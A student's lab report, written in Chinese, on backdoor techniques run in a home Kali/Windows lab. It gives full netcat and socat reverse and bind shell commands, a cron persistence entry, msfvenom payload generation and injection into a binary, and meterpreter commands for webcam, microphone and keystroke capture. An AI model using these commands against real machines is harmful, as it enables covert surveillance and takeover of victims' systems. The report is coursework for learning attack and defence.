后门原理与实践
1. 实验内容
- 学习netcat、socat工具的使用
- 学习使用MSF meterpreter生成后门文件,并通过netcat或者socat将后门文件远程传输至目标主机
- 学习如何利用MSF meterpreter生成的后门文件窃取目标主机摄像头内容、输入记录等数据
- 学习如何使用MSF生成shellcode并注入到正常文件中
2. 实验环境
安装Kali系统的虚拟机,Win10笔记本
3. 实验过程
前置准备:由于目前制作的各种文件以及ncat都过于简陋,一出现就会被各种杀毒软件直接删掉,因此为了顺利实验,首先需要关闭杀毒软件与Win10自带的杀毒功能,以保证后门文件与netcat、socat能正常运行
同时因为需要使用netcat远程传输后门软件,也需要使用netcat远程控制,所以需要关闭windows的防火墙
3.1 使用netcat获取主机操作Shell,cron启动某项任务
3.1.2 监听获得虚拟机的shell
-
在Windows主机上进入PowerShell,输入
ipconfig
,查询到主机IP为192.168.3.12
-
进入Windows主机中netcat所在目录,右键空白处选择在此处打开终端,输入指令
./nc64.exe -l -p 2325
,让nc64程序监听2325端口
-
验证监听状态:新建PowerShell窗口,输入命令:
netstat -an | findstr "2325"
查看监听是否成功, 图中已经显示“LISTENING”说明已经成功,正在监听。
-
Kali主动连接并让渡Shell:启动Kali虚拟机,打开管理员终端,输入命令:
nc 192.168.3.12 2325 -e /bin/sh
让kali连接到windows主机的2325端口,并让windows主机可以对kali的shell进行远程输入。
-
验证Shell控制权:连接成功后,主机就获得了虚拟机的Shell,尝试输入ls命令进行验证,验证成功,输出结果如图
3.1.3 启动定时任务
-
编辑crontab文件:在kali中修改cron表,输入
crontab -e
编辑crontab文件,选择选择/usr/bin/vim.basic编辑 crontab
-
添加定时任务:在cron表的末尾添加命令
25 * * * * /bin/netcat 192.168.3.12 2325 -e /bin/sh
保存退出。它创建一个后门,让系统当时间到达xx:25时都尝试将本机的Shell连接到windows上。
-
验证crontab配置:通过输入命令crontab -l,查看时程表的情况,已经修改成功
-
查看cron任务文件: 在kali中通过路径/var/spool/cron/crontabs,找到crontabs文件夹,用root身份打开,发现一个root文件,这就是刚才创建的后门文件
3.1.4 修改定时任务
-
重新获取Kali Shell:现在通过Windows主机对于虚拟机的远程操控来修改定时任务。重复先前的步骤,获得Windows主机对虚拟机的Shell
-
修改cron任务文件:在Windows的Shell终端中输入命令:
echo "20 * * * * echo '20232325' > /home/kali/tempfile/20232325.txt" > /var/spool/cron/crontabs/root
它表示直接向root用户的定时任务文件中写入一条新任务。这个任务会让系统在每个小时的第20分钟,自动将字符串“20232325”写入到一个指定路径的文件中。
-
验证修改:通过命令crontab -l,查看时程表,发现修改成功。
-
验证任务执行:等到这个小时二十分钟,发现虚拟机中对应文件中已经被写入了指定字符串,持久化定时任务命令修改成功
3.2 使用socat获取主机操作Shell,任务计划启动
3.2.1 环境准备
-
Windows启动socat监听:打开windows主机的PowerShell输入命令/socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr,在本机上监听8888端口,一旦有客户端连接上来,就立即为它启动一个交互式的cmd.exe命令行,并将所有输入输出都通过这个网络连接进行转发。
./socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
-
Kali连接Windows并获取CMD:在kali上输入命令socat - tcp:192.168.3.12:8888,连接IP地址为192.168.3.12的windows主机的8888端口,然后将当前终端的所有输入发送过去,并把对方返回的所有数据显示在此终端上。
socat - tcp:192.168.3.12:8888
3.2.2 设置定时任务(Windows任务计划)
-
编写C语言程序:在Windows主机上编写C语言程序,在该程序的目录中,创建一个名为20232325.txt,并写入字符串“20232325”,编译为exe并且运行。
-
创建Windows定时任务:在kali中,输入命令schtasks /create /sc minute /mo 1 /tn "20232325lyd" /tr "D:\20232325learningusing\exp2\exp222.exe"
,在Windows主机建立一个名为“20232425lyd”的定时任务,它会每分钟运行一次刚才写的的程序schtasks /create /sc minute /mo 1 /tn "20232325lyd" /tr "D:\20232325learningusing\exp2\exp222.exe"
-
验证定时任务:在Windows主机中,打开计算机管理查看任务计划程序库,发现定时任务“20232325lyd”每分钟执行一次,此步骤顺利完成
3.3 使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell
3.3.1 后门生成
在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=8888 -f exe > backdoor20232325.exe
,生成backdoor20232325.exe。它是一个后门程序,会主动连接回IP地址192.168.57.133(kali虚拟机)的8888端口,从而提供远程控制功能。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=8888 -f exe > backdoor20232325.exe
3.3.2 文件传输
-
Windows启动接收监听: 在Windows主机中打开powershell,输入命令 ./nc.exe -l -p 410 > “D:\backdoor20232325.exe”启动netcat监听器,监听410端口,并将所有客户端发送的数据,全部到指定路径的文件中
./nc.exe -l -p 410 > "D:\backdoor20232325.exe"
-
Kali发送后门文件:在kali中输入命令nc 192.168.43.197 410 < backdoor20232409.exe,将本地的backdoor20232325.exe文件的内容,通过网络发送到IP地址为192.168.3.12的机器的410端口上。
nc 192.168.3.12 410 < backdoor20232325.exe
3.3.3 配置MSF监听并获取Shell
-
启动MSF控制台:在Kali中输入
msfconsole
,进入Metasploit框架 -
配置监听模块:依次输入以下命令:
use exploit/multi/handler # 使用多平台监听模块 set payload windows/meterpreter/reverse_tcp # 匹配后门的Payload set LHOST 192.168.57.133 # 设置Kali IP(与后门一致) set LPORT 8888 # 设置监听端口(与后门一致) exploit # 启动监听
-
运行后门程序:在Windows主机上双击运行后门程序攻击成功后,虚拟机可连接上主机,输入命令dir后可获得windows当前目录下的文件与目录,攻击成功!
3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
3.4.1 获取目标主机敏感数据
在Meterpreter会话中,输入以下命令获取数据:
- 录制音频:
record_mic
- 屏幕截图:
screenshot
- 摄像头拍照:
webcam_snap
- 键盘记录:
- 启动记录:
keyscan_start
- 停止记录:
keyscan_stop
- 导出记录:
keyscan_dump
由下图内容可见成功读取到键盘输入内容与摄像头、音频内容
- 启动记录:
3.4.2 尝试提权
-
查看当前用户:输入
getuid
,显示当前用户为DESKTOP-QD6LNTD\DELL
。
-
执行提权命令:输入
getsystem
,但再次输入getuid
,用户仍为DESKTOP-QD6LNTD\DELL
,提权未成功。
3.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
生成注入shellcode的可执行文件,赋予可执行权限:在kali中输入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=4444 -x pwn20232325 elf >pwndanger,成功创建后输入命令chmod +x ./pwndanger,使用超级管理员权限为该文件赋予可执行权限。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.57.133 LPORT=4444 -x pwn20232325 -f elf > pwndanger
chmod +x ./pwndanger
-
配置MSF监听:
- 新建Kali终端,输入
msfconsole
,依次执行:use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set LHOST 192.168.57.133 set LPORT 4444 exploit
- 新建Kali终端,输入
-
运行注入文件:在kali中双击打开pwndanger触发反弹连接。
-
验证反弹Shell: 再在新的shell中,输入shell,可以看到攻击已经成功,没有问题
4. 回答问题
4.1 列举你能想到的一个后门进入到你系统中的可能方式
通过在其他资源中插入的方式进入,比如游戏的汉化补丁、mod,盗版软件的安装包
4.2 列举你知道的后门如何启动起来(windows及linux)的方式
- 开机自启动与定时自动运行
- 定时自启动中:Windows中是任务计划程序,Linux中是cron表
4.3 Meterpreter有哪些给你印象深刻的功能
可以控制目标主机的摄像头、音频,还可以知道目标主机的键盘录入,许多敏感信息直接泄露无余
4.4 如何发现自己的系统有没有被安装后门
- 查看Windows中的任务计划程序、Linux中的cron表,确认是否存在特殊程序。
- 查看主机是否存在不明远程连接。
- 检查摄像头是否被异常唤醒。
5. 实验中的问题与解决
问题1:ncat.exe无法正常使用
解决方案:使用./ncat.exe
问题2:使用ncat传输后门软件时反复失败,没有看到想要的结果
解决方案:删除已安装nact,下载附件中的ncat后可以正常使用
问题3:后门程序运行时间很短,有时候会传输成比源文件大很多的文件,无法正常使用
解决方案:将后文程序直接复制到windows主机上几乎不会失误(但感觉是走捷径)
7. 心得体会
本次实验整体感受比上次实验难度高了很多,整整花费了我6个小时才顺利完成了这次实验。但通过这次实验,我对后门程序原理与应用的认知可以说是有了极大提高。
实验中的挫折是占据大部分时间的,有netcat、socat版本问题,windows主机疯狂的杀我的后门程序的问题,好不容易传出来的后门程序要么就莫名其妙的变大了,要么就活一会就死了。但好在我最终还是一一解决了这些问题,在解决的过程中,我和同学讨论,向AI提问,仔细翻看实验指导书,对实验内容有了更深刻的理解,对面对各种报错有了更多解决经验与方法。
总之,这是我的第二次网络攻防实验,挫折不少,但收获巨多,也让我对后门程序这个常见词语多了更多认识,我会带着这次实验成功的成就感面对接下来的挑战!